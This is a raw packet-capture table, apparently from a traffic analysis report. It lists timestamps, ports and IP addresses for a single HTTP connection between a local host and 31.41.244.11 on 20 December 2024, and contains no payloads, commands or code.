Dec 20, 2024 02:11:31.061824083 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:31.061863899 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:31.061925888 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:31.061964989 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:31.062519073 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:31.062556982 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:31.062634945 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:31.062673092 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:31.063195944 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:31.063245058 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:31.063363075 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:31.063401937 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:31.063889027 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:31.063929081 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:31.063991070 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:31.064028025 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:31.064652920 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:31.064738989 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:31.064841032 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:31.064877987 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:31.065346956 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:31.065428019 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:31.065432072 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:31.065462112 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:31.066071987 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:31.066090107 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:31.066117048 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:31.066138983 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:31.066692114 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:31.066837072 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:31.066889048 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:31.067385912 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:31.067431927 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:31.067516088 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:31.067555904 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:31.068109989 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:31.068248034 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:31.068293095 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:31.068787098 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:31.068831921 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:31.068901062 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:31.068938017 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:31.069510937 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:31.069555044 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:31.069685936 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:31.069724083 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:31.070229053 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:31.070285082 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:31.070327044 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:31.070365906 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:31.070878983 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:31.070919991 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:31.070976973 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:31.071016073 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:31.071563005 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:31.071600914 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:31.227957010 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:31.227969885 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:31.228037119 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:31.228205919 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:31.228256941 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:31.228279114 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:31.228329897 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:31.228909969 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:31.228926897 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:31.228966951 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:31.228967905 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:31.229568958 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:31.229655027 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:31.229703903 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:31.230272055 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:31.230324030 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:31.230401993 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:31.230454922 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:31.230937958 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:31.231105089 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:31.231158018 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:31.231189966 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:31.231759071 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:31.231769085 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:31.231813908 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:31.232381105 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:31.232498884 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:31.232542992 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:31.233037949 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:31.233083963 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:31.233123064 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:31.233165979 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:31.233756065 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:31.233802080 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:31.233890057 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:31.233937025 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:31.234417915 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:31.234464884 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:31.234616995 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:31.234675884 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:31.235136986 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:31.235193014 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:31.235232115 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:31.235279083 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:31.235838890 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:31.235889912 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:31.235972881 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:31.236013889 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:31.236569881 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:31.236640930 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:31.236690044 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:31.237291098 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:31.237339973 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:31.237382889 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:31.237427950 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:31.237941980 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:31.237992048 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:31.238013029 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:31.238070965 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:31.238648891 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:31.238702059 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:31.238708973 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:31.238744020 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:31.239341021 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:31.239387035 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:31.239417076 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:31.239459991 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:31.240065098 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:31.240118027 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:31.240155935 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:31.240204096 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:31.240721941 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:31.240819931 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:31.240869999 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:31.241432905 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:31.241480112 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:31.241506100 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:31.241553068 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:31.242105961 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:31.242152929 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:31.242194891 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:31.242238998 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:31.242891073 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:31.242938042 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:31.242975950 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:31.243031025 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:31.243520021 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:31.243566036 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:31.243685007 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:31.243729115 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:31.244189024 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:31.244311094 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:31.244359016 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:31.244874001 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:31.244935989 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:31.244976997 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:31.245028973 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:31.245583057 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:31.245801926 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:31.245856047 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:31.246357918 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:31.246368885 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:31.246409893 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:31.247016907 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:31.247064114 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:31.247143984 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:31.247190952 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:31.247703075 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:31.247756958 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:31.247812033 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:31.247862101 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:31.248404980 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:31.248454094 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:31.248464108 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:31.248511076 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:31.249062061 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:31.249110937 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:31.249155045 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:31.249198914 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:31.249794960 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:31.249855995 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:31.249892950 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:31.249953032 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:31.250571966 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:31.250581980 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:31.250621080 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:31.251200914 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:31.251250029 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:31.251281977 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:31.251348019 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:31.251872063 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:31.251918077 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:31.251964092 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:31.252029896 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:31.252723932 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:31.252769947 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:31.252819061 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:31.253273964 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:31.253323078 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:31.253371000 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:31.253418922 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:31.253978014 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:31.254026890 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:31.254092932 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:31.254143000 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:31.254661083 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:31.254719019 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:31.254757881 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:31.254797935 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:31.255341053 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:31.255387068 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:31.255536079 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:31.255580902 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:31.256040096 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:31.256087065 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:31.256128073 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:31.256172895 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:31.256727934 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:31.256804943 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:31.256854057 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:31.257412910 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:31.257461071 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:31.257525921 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:31.257570982 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:31.258112907 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:31.258169889 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:31.258212090 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:31.258260965 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:31.258841038 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:31.258894920 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:31.258917093 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:31.258961916 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:31.259516001 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:31.259574890 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:31.259669065 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:31.259716034 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:31.260231018 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:31.260356903 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:31.260407925 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:31.260937929 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:31.260987043 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:31.261028051 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:31.261075974 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:31.261639118 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:31.261686087 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:31.261714935 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:31.261761904 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:31.262305021 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:31.262350082 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:31.262425900 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:31.262471914 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:31.263019085 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:31.263063908 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:31.263191938 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:31.263237953 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:31.263708115 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:31.263757944 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:31.263801098 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:31.263849974 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:31.264354944 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:31.266081095 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:31.420059919 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:31.420135975 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:31.420250893 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:31.420341015 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:31.420370102 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:31.420422077 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:31.420491934 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:31.420587063 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:31.421168089 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:31.421226025 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:31.421268940 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:31.421324968 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:31.421789885 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:31.421854019 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:31.421897888 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:31.421953917 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:31.422466993 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:31.422534943 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:31.422574043 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:31.422627926 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:31.423160076 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:31.423214912 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:31.423270941 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:31.423345089 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:31.423898935 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:31.423955917 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:31.424024105 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:31.424432039 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:31.424669981 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:31.424726963 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:31.424804926 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:31.424902916 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:31.425322056 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:31.425379038 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:31.425422907 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:31.425478935 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:31.425981045 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:31.426040888 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:31.426084995 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:31.426141024 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:31.426640987 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:31.426752090 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:31.426796913 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:31.426837921 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:31.427336931 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:31.427457094 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:31.427464008 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:31.427544117 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:31.428045034 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:31.428100109 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:31.428167105 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:31.428235054 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:31.428750038 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:31.428807020 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:31.428894997 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:31.428894997 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:31.429456949 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:31.429532051 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:31.429589033 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:31.430130959 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:31.430190086 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:31.430237055 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:31.430305958 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:31.430839062 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:31.430919886 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:31.430927992 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:31.430963039 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:31.431581020 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:31.431619883 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:31.431641102 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:31.431672096 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:31.432241917 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:31.432306051 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:31.432326078 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:31.432382107 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:31.432933092 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:31.432996035 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:31.433038950 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:31.433098078 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:31.433629036 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:31.433680058 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:31.433733940 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:31.433779955 CET	49875	80	192.168.2.5	31.41.244.11
